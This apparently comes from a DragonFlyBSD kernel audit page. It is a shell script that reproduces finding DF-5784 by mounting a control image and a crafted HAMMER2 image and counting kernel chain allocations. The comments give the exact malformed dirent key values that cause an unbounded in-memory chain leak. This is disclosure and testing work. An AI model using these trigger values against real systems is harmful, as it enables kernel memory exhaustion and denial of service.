⬢ DragonFlyBSD Kernel Audit
DF-5784 / run_df5784.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-5784 (guest, root): control mount of base.img, then craftB.img whose
# f1 DIRENT bref has key=0xC000000000000001 keybits=63 (comparator range
# end wraps below beg).  hammer2_chain_find() prunes the mis-ordered chain,
# so every directory iteration re-creates a duplicate in-memory chain.
# EXPECT: crafted chain_allocs delta grows ~ +1 per dirent entry read and
# never terminates on its own (entry cap stops it); control delta ~ 0.
D=/root/poc/df5784
cc -O2 -o $D/leakloop $D/leakloop.c || exit 1
vnconfig -u vn0 2>/dev/null || true
echo "=== DF-5784 control: base.img ==="
vnconfig -c vn0 $D/base.img
mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?"
B0=$(sysctl -n vfs.hammer2.chain_allocs)
echo "control chain_allocs start=$B0"
$D/leakloop /mnt/h2x 1000000
B1=$(sysctl -n vfs.hammer2.chain_allocs)
umount /mnt/h2x; vnconfig -u vn0
echo "CONTROL_DELTA=$((B1 - B0))"
echo "=== DF-5784 crafted: craftB.img (wrapped dirent range) ==="
vnconfig -c vn0 $D/craftB.img
mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?"
C0=$(sysctl -n vfs.hammer2.chain_allocs)
echo "crafted chain_allocs start=$C0"
$D/leakloop /mnt/h2x 1000000
C1=$(sysctl -n vfs.hammer2.chain_allocs)
echo "CRAFTED_DELTA=$((C1 - C0))"
umount /mnt/h2x; vnconfig -u vn0
C2=$(sysctl -n vfs.hammer2.chain_allocs)
echo "AFTER_UMOUNT=$C2"
echo DF5784_DONE